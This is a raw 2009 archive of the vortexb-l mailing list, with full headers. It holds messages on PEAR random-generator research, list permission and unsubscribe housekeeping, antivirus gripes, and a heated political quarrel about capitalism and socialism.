X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: hostages, Director of National Intelligence, Varshavianka, states rights, combat ability User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4006 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 248 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Ya-- here's a live one right here. Speak of the Devil. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoVue0ACgkQXo3EtEYbt3EG9QCeMPfQSsb7+OwA9989jamz2zsb OJQAn1eI5VxFLpAEs1cm0XDV1YavUH4g =I1fr -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Thu May 21 14:01:41 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4LL1eQU025152; Thu, 21 May 2009 14:01:40 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4LL1Z4f025135; Thu, 21 May 2009 14:01:35 -0700 Resent-Date: Thu, 21 May 2009 14:01:35 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-Id: From: Zachary Jones To: vortexb-l@eskimo.com In-Reply-To: Content-Type: text/plain; charset=US-ASCII; format=flowed; delsp=yes Content-Transfer-Encoding: 7bit Mime-Version: 1.0 (Apple Message framework v935.3) Subject: Re: [VoB]:Re: PEAR/ ICRL research Date: Thu, 21 May 2009 14:01:25 -0700 References: <9B160C1D-E318-4B6E-9C8B-32CD4119C1A8@newalexandria.org> <0A87B803-008F-4A08-867B-39AD100EE783@mtaonline.net> <581C89AC-A7BA-4ADF-83C1-57E724E42724@newalexandria.org> X-Mailer: Apple Mail (2.935.3) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4007 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 249 >> and causes a drift in the baseline data. > > This is just wrong. External variable may cause drift in > hysteresis, but hysteresis itself is due to fundamental device > characteristics. It is difficult to impossible to select from a 0 or > 1 with exactly 50/50 probability due to inherent device hysteresis > in typical devices used to generate random pads. > Either I'm not in the same know of what you're saying hysteresis does, or you could stand to read the PEAR technical reports more in depth. The intention data shows quantifiably different characteristics from baseline data, which temporally correspond to subjective feedback from device operators. I.E. things changed when in sync with peoples' report of subjective shifts. >> Regarding randomness, though, PEAR personnel also did research with >> pseudo-random generators. > > That is an absurd thing to do! Every pseudo-random number generated > is fully predictable in advance. It is kind of absurd; I brought it up only in passing. Z From vortexb-l-request@eskimo.com Thu May 21 14:27:44 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4LLRf5s010659; Thu, 21 May 2009 14:27:41 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4LLRfti010654; Thu, 21 May 2009 14:27:41 -0700 Resent-Date: Thu, 21 May 2009 14:27:41 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: "Rick Monteverde" To: References: Subject: RE: [VoB]:Re: This is VortexB-L... Date: Thu, 21 May 2009 11:27:17 -1000 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook 11 In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.5579 Thread-Index: AcnaULGusLF1PQFwSu67+G7BjHOnuAACVpLw X-Antivirus-Scanner: Clean mail though you should still use an Antivirus X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - kappa.fastbighost.com X-AntiAbuse: Original Domain - eskimo.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - highsurf.com X-Source: X-Source-Args: X-Source-Dir: Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4008 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 250 In my work, if it's not permissions, it's Symantec. The rest is marginal. - Rick > -----Original Message----- > From: William Beaty [mailto:billb@eskimo.com] > Sent: Thursday, May 21, 2009 10:11 AM > To: vortexb-l@eskimo.com > Subject: Re: [VoB]:Re: This is VortexB-L... > > On Thu, 21 May 2009, William Beaty wrote: > > Huh, it's supposed to have one. The config is the same as > vortex (except > > it says [VoB]. Can't see why it doesn't work. > > Wrong unix file permission! It couldn't read the little > "VoB" command. > > > (((((((((((((((((( ( ( ( ( (O) ) ) ) ) ))))))))))))))))))) > William J. Beaty SCIENCE HOBBYIST website > billb at amasci com http://amasci.com > EE/programmer/sci-exhibits amateur science, hobby projects, sci fair > Seattle, WA 206-762-3818 unusual phenomena, tesla coils, weird sci > > From vortexb-l-request@eskimo.com Thu May 21 15:05:57 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4LM5p4j025499; Thu, 21 May 2009 15:05:51 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4LM5ogC025494; Thu, 21 May 2009 15:05:50 -0700 Resent-Date: Thu, 21 May 2009 15:05:50 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Thu, 21 May 2009 15:05:33 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Message-ID: <20090521220533.GH27687@shell.resist.ca> Reply-To: grok@resist.ca References: MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: hostages, Director of National Intelligence, Varshavianka, states rights, combat ability User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4009 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 251 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Rick Monteverde mounted the barricade and roared out: > In my work, if it's not permissions, it's Symantec. The rest is marginal. > > - Rick Not only Norton-Symantec, but Microsoft, caused me endless grief (mostly MS. By far). I much prefer the little griefs that come with GNUnix/FOSS. How 'Free & Open Source' is vortex-l, BTW..? ;P - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoV0C0ACgkQXo3EtEYbt3E9UgCfTwtxliMb4FEKcatjpsnuX/LS HvUAoLNWf7dKpOwNUAktwkG2nfToUPFj =oJO0 -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Thu May 21 15:10:12 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4LMA96p026784; Thu, 21 May 2009 15:10:09 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4LMA9BN026775; Thu, 21 May 2009 15:10:09 -0700 Resent-Date: Thu, 21 May 2009 15:10:09 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type :content-transfer-encoding; bh=KGAL6Q2N4zHRZ1Faqin4Xvk9xaYBkYq6lveyqdUyVzQ=; b=xMUQGrDXrkHL4a1lLlmxzlPiubmjGCgqCQNyTHpg74gMow5mCFfKieL5sqTDvB6qWy vlJB8lKvR5McfxVJW2qMxm7FXVrR6TDO2Ik7/0mmBmczdFgSJDL8dAG//oJ1C57SYC7Z xWozAYt38zxaA/zFa0Ajjxgf2kiTc7jxEtILs= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; b=uQRNZMJz3IwuCFc3woIYtRGau/xPPq68sKvTlRN6AfRLr0Rij/WaInxMXhK+riWlBb ucmm3MzD+ahb+ESwKoxM5izjgRapTObb9toN2RRoB12SuG7P9jv5N5L2pNBoPAGnvfQL dD2VWz/rwzwnu0ASVQUXKtilFRRpKFMeIgXY8= MIME-Version: 1.0 In-Reply-To: <20090521202742.GF27687@shell.resist.ca> References: <20090521135846.GA1262@shell.resist.ca> <20090521172625.GC1262@shell.resist.ca> <20090521180408.GD1262@shell.resist.ca> <20090521192649.GA27687@shell.resist.ca> <20090521202742.GF27687@shell.resist.ca> Date: Thu, 21 May 2009 17:10:00 -0500 Message-ID: Subject: Re: [VoB]:Re: This is VortexB-L... From: OrionWorks To: grok@resist.ca, vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4010 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 252 >From Grok: >> How would you like to [me] to talk to you, Grok. > Howsabout with the lack of condescension, implied or otherwise? Will you reciprocate by not calling me "fella", or several other nonsensical names that add little to the discussion? > I guess this here is about the best that can be expected, > under the circumstances... (sigh) Does it not occur to you that the above statement is itself, including the in-conclusion "(sigh)" a condescending reply? > If we're still talking politix then, the first thing would > be to accept that this is not a 'personality issue' -- > however much that is the favorite slant of those who defend > any status quo. Therefore some people need to accept that > any such discussion here(sic) actually and truly reflects > real issues in the society at large. But I think those > people on vortex-l have problems with that (however not > with their own pet peeves and projects, of course). It's not clear to me what you are driving at. I see words like "status quo" and "politix" being used. It's also not clear to me what you mean that it's not a "personal issue" either. As best as I can tell, and correct me if I'm wrong, you seem to be stating that many on vortex-l have problems. The nature of those problems is not clear to me - other than it has something to do with politix. > As I keep pointing out: politix does indeed have EVERYTHING > to do with what Science, 'fringe science' -- and with what > vortex-l is/are. And only the beneficiaries of a status quo > profit from keeping all that out of the equation. Of course, > when festering contradictions never get resolved in a society > which refuses to advance, of course the endless strife only > ends up wrecking things. Such is [class] war. And so it > becomes its own excuse for not resolving matters. As we've > just witnessed here. I suspect a few here might disagree with what appears to be your contention that politix has EVERYTHING to do with what Science, particularly "fringe science" is all about. Can you clarify what's being kept "...out of the equation"? Are you implying: The results of valid scientific research? Being hindered? Incidentally, what unresolved matter did we just witness here? Regards Steven Vincent Johnson www.OrionWorks.com www.zazzle.com/orionworks From vortexb-l-request@eskimo.com Thu May 21 15:11:40 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4LMBcEG027171; Thu, 21 May 2009 15:11:38 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4LMBcLM027164; Thu, 21 May 2009 15:11:38 -0700 Resent-Date: Thu, 21 May 2009 15:11:38 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-Id: <200905212211.n4LMBbwO020252@mail43.atl.registeredsite.com> Reply-To: From: "Lawrence de Bivort" To: Date: Thu, 21 May 2009 18:11:34 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook, Build 11.0.5510 In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.5579 Thread-Index: AcnaTndDPKua9la+TquWOuVkdJ/7wgAEpB9w Resent-Message-ID: <36mn2D.A.UoG.aGdFKB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4011 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:unsubscribe Status: RO X-Status: X-Keywords: X-UID: 253 From vortexb-l-request@eskimo.com Thu May 21 15:20:04 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4LMJvAq001757; Thu, 21 May 2009 15:20:02 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4LMJrf9001738; Thu, 21 May 2009 15:19:53 -0700 Resent-Date: Thu, 21 May 2009 15:19:53 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type :content-transfer-encoding; bh=MqqLhOuHsHU6JEKOQgwS229vC3tqnwHODpAHHESAHyM=; b=JVjxs3iiYQtRLYvX5meWWqMVFzHSzBGn1GoMF06kepnbyf91yFuZURHj7F2NPFKjST /q76gfif61hMy7Hvimeoz/jhb+OvtNfrI7BWHwSa4qIHBloGQ0GBfxACZZ7Aqs2J8Td/ sqqEVChTdxlzOGvlfgWpfv7uTYPY6aYjKhBeA= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; b=Eohy0zdzAsqAEdHxpmLrns+OG1VWRYv8RkZBr1S4bcX2ugzwbmgrF2T4igTKRwEa5W MBzLcfKi/TE/CQV0lmscg4ZmtmOsVu/Lp70xDqKBDWXEc2iHVcyy/3SqBRs0H2q69Xre zIZdFSwoZ57Q3C/zNzVrHr3CE6XQJGW6h+Eq4= MIME-Version: 1.0 In-Reply-To: References: Date: Thu, 21 May 2009 15:19:53 -0700 Message-ID: Subject: Re: [VoB]:Re: This is VortexB-L... From: leaking pen To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Resent-Message-ID: <0W_YzC.A._a.JOdFKB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4012 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 254 mcafee causes me more headaches than norton-symantec. its harder to turn off. (required for certain installations that i do help desk for) Dont get me started on esat.... On Thu, May 21, 2009 at 2:27 PM, Rick Monteverde wrote: > In my work, if it's not permissions, it's Symantec. The rest is marginal. > > - Rick > >> -----Original Message----- >> From: William Beaty [mailto:billb@eskimo.com] >> Sent: Thursday, May 21, 2009 10:11 AM >> To: vortexb-l@eskimo.com >> Subject: Re: [VoB]:Re: This is VortexB-L... >> >> On Thu, 21 May 2009, William Beaty wrote: >> > Huh, it's supposed to have one. =A0 The config is the same as >> vortex (except >> > it says [VoB]. =A0 Can't see why it doesn't work. >> >> Wrong unix file permission! =A0 It couldn't read the little >> "VoB" command. >> >> >> (((((((((((((((((( ( ( =A0( =A0 ( =A0 =A0(O) =A0 =A0) =A0 ) =A0) ) )))))= )))))))))))))) >> William J. Beaty =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0= SCIENCE HOBBYIST website >> billb at amasci com =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 http= ://amasci.com >> EE/programmer/sci-exhibits =A0 amateur science, hobby projects, sci fair >> Seattle, WA =A0206-762-3818 =A0 =A0unusual phenomena, tesla coils, weird= sci >> >> > > > From vortexb-l-request@eskimo.com Thu May 21 15:48:05 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4LMm26L005987; Thu, 21 May 2009 15:48:03 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4LMm2EM005980; Thu, 21 May 2009 15:48:02 -0700 Resent-Date: Thu, 21 May 2009 15:48:02 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type; bh=v7Yj6Q7NYpqwH/cBaxoh8toK+GZfbouhgqqMbGeUKzM=; b=mk7T1cjRAjcgrIruBi36F9IFsVKbQnPnGFU9ljCDG8qiP+9zpZhK3qM1P51OOLNUio 5Upx7DL76a52TfkLWCePQmb2cU5YCSB9/qifAspeMfhMlT7WT6E8Bgahv5mpHguxtzxQ 5ZA3Qodw1EL84nWpHSlyxkrRRNMzcOTi+AA14= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; b=usj3h5OQ03xnfiWp2FkLyZ1t37jENKUkvTcZ9UrcdilYN+aFoxHW7kcMQWwG8GC/N5 p/DDi0z3oxYmyM/Ln/vpRRZ4CHhMQY41pmY7YOCOC2IAR4KIeja1dxdxVrLWGJri2sYX yqkJcjcIvOvtybWXorQauu39fE0uCilN4GkMg= MIME-Version: 1.0 In-Reply-To: <200905212211.n4LMBbwO020252@mail43.atl.registeredsite.com> References: <200905212211.n4LMBbwO020252@mail43.atl.registeredsite.com> Date: Thu, 21 May 2009 18:48:02 -0400 Message-ID: Subject: Re: [VoB]:unsubscribe From: Terry Blanton To: debivort@evolutionaryservices.org, vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=0015174c0d92b560e3046a73efc8 Resent-Message-ID: <-DdVoC.A.WdB.iodFKB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4013 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 255 --0015174c0d92b560e3046a73efc8 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit You must send a null message to vortexb-l-request@eskimo.com with the word unsubscribe in the subject line. Terry On Thu, May 21, 2009 at 6:11 PM, Lawrence de Bivort < debivort@evolutionaryservices.org> wrote: > > > > --0015174c0d92b560e3046a73efc8 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable
You must send a null message to
=A0
=A0
with the word
=A0
unsubscribe
=A0
in the subject line.
=A0
Terry
=A0
On Thu, May 21, 2009 at 6:11 PM, Lawrence de Bivort <debivort@evolutionaryservices.org> wrote:
>
>
>
>
=A0
=A0
--0015174c0d92b560e3046a73efc8-- From vortexb-l-request@eskimo.com Thu May 21 15:48:55 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4LMmn0h006235; Thu, 21 May 2009 15:48:53 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4LMmnW3006228; Thu, 21 May 2009 15:48:49 -0700 Resent-Date: Thu, 21 May 2009 15:48:49 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Thu, 21 May 2009 15:48:40 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Message-ID: <20090521224840.GI27687@shell.resist.ca> Reply-To: grok@resist.ca References: <20090521135846.GA1262@shell.resist.ca> <20090521172625.GC1262@shell.resist.ca> <20090521180408.GD1262@shell.resist.ca> <20090521192649.GA27687@shell.resist.ca> <20090521202742.GF27687@shell.resist.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: hostages, Director of National Intelligence, Varshavianka, states rights, combat ability User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4014 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 256 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, OrionWorks mounted the barricade and roared out: > > Science, 'fringe science' -- and with what vortex-l is/are. And only the > > beneficiaries of a status quo profit from keeping all that out of the equation. > > Of course, when festering contradictions never get resolved in a society which > > refuses to advance, of course the endless strife only ends up wrecking things. > > Such is [class] war. And so it becomes its own excuse for not resolving matters. > > As we've just witnessed here. > > I suspect a few here might disagree with what appears to be your contention that > politix has EVERYTHING to do with what Science, particularly "fringe science" is > all about. I guess that depends on the meaning of the term 'everything' in this context. In this context. > Can you clarify what's being kept "...out of the equation"? Are you implying: The > results of valid scientific research? Being hindered? > > Incidentally, what unresolved matter did we just witness here? > > Regards > Steven Vincent Johnson > www.OrionWorks.com > www.zazzle.com/orionworks You're being obtuse -- however I think I will accept that this seems to be a congenital class issue, and nowhere moreso than in the U.S. What's being kept out of the equation? Why, whatever you have defined as "contrarian", of course. Let's just call it "politix". For now, anyway. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoV2kgACgkQXo3EtEYbt3HiyQCdFjAH3nKJrkRY1wadgOo1CeMe c/AAoNdeEnGlGAf8JSSnwuJHObEwQkvL =PZFG -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Thu May 21 15:54:18 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4LMsFlW025528; Thu, 21 May 2009 15:54:15 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4LMsE0H025523; Thu, 21 May 2009 15:54:14 -0700 Resent-Date: Thu, 21 May 2009 15:54:14 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Thu, 21 May 2009 15:54:06 -0700 From: grok To: vortexb-l@eskimo.com Cc: John Fields Message-ID: <20090521225405.GJ27687@shell.resist.ca> Reply-To: grok@resist.ca References: <93EA32AC-9CEC-44A0-AB79-4BBE9F97544A@ix.netcom.com> <20090519204339.GA2278@shell.resist.ca> <4A132E5A.7070309@lacy.com.ar> <20090519224854.GH2278@shell.resist.ca> <4A134BDF.7020700@lacy.com.ar> <20090520004248.GK2278@shell.resist.ca> <1ojb1515ue7qno0hko0p46enh13theo1km@4ax.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <1ojb1515ue7qno0hko0p46enh13theo1km@4ax.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: hostages, Director of National Intelligence, Varshavianka, states rights, combat ability User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: <7TKsCC.A.qOG.WudFKB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4015 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Re: [Vo]:China vs US Status: RO X-Status: X-Keywords: X-UID: 257 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, John Fields mounted the barricade and roared out: > On Tue, 19 May 2009 17:42:48 -0700, you wrote: > > > >NOTHING is more ugly and violent than a capitalist which hasn't been fed bloodmeal > >and raw, dripping hamburger in the past few minutes. > > --- > Nonsense. Non-sense yerself. > A true capitalist tries to perpetuate his model of reality by trying to > retain and to further amass power by bringing competition into the fold > or, if that's not successful, by bringing the competition to its knees, > financially. > > And, then, providing for the needs of the vanquished. What universe are we in again..? > Your way, if you ally yourself with the likes of Hitler, Stalin, and Mao > is to murder all of your detractors, no matter how softly they squeak. > > JF 1: Hitler was a capitalist stooge. 2: What you know about socialism would probably fill a pinky-thimble. 3: Murder Inc. is the U.S. ruling-class/government and its deathsquad franchisees -- that's capitalist, right? -- around the planet. Next. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoV240ACgkQXo3EtEYbt3EShACgssfTxXJ5qvvHxKI+NNE0iOv5 YnUAoIUIy+mUTL8+IqwziNDROZvxtqsB =WXVB -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Thu May 21 17:29:17 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4M0TEBd027603; Thu, 21 May 2009 17:29:14 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4M0TEUb027599; Thu, 21 May 2009 17:29:14 -0700 Resent-Date: Thu, 21 May 2009 17:29:14 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Thu, 21 May 2009 17:29:08 -0700 From: grok To: John Fields Cc: vortexb-l@eskimo.com Message-ID: <20090522002908.GA29458@shell.resist.ca> Reply-To: grok@resist.ca References: <93EA32AC-9CEC-44A0-AB79-4BBE9F97544A@ix.netcom.com> <20090519204339.GA2278@shell.resist.ca> <4A132E5A.7070309@lacy.com.ar> <20090519224854.GH2278@shell.resist.ca> <4A134BDF.7020700@lacy.com.ar> <20090520004248.GK2278@shell.resist.ca> <1ojb1515ue7qno0hko0p46enh13theo1km@4ax.com> <20090521225405.GJ27687@shell.resist.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: Project 15A, GRUMBLE, MiG-25R, CMW, Echelon User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4016 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Re: [Vo]:China vs US Status: RO X-Status: X-Keywords: X-UID: 258 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, John Fields mounted the barricade and roared out: > >Non-sense yerself. > > --- > Hardly. > > I've gone on and made my point while all you can do is try to play imaginary > catch-up with your silly pseudo-colloqialisms. You've made no point at all. Fella. > >What universe are we in again..? > > --- > Again ??? > > As far as I know, the universe we're in is the one we started in, so > your question was disingenuous. My question was sarcastic. > >> Your way, if you ally yourself with the likes of Hitler, Stalin, and Mao > >> is to murder all of your detractors, no matter how softly they squeak. > >> > >> JF > > > >1: Hitler was a capitalist stooge. > > --- > Fueled by whom? Henry Ford for one. The [pResident] Bush family too, actually. And IBM Hollerith cards & Nazi death camps come to mind... hmmm... gee -- howsabout that: there are so many, I've lost count. > >2: What you know about socialism would probably fill a pinky-thimble. > > --- > True, but that's because there's very little about socialism which could > fill a 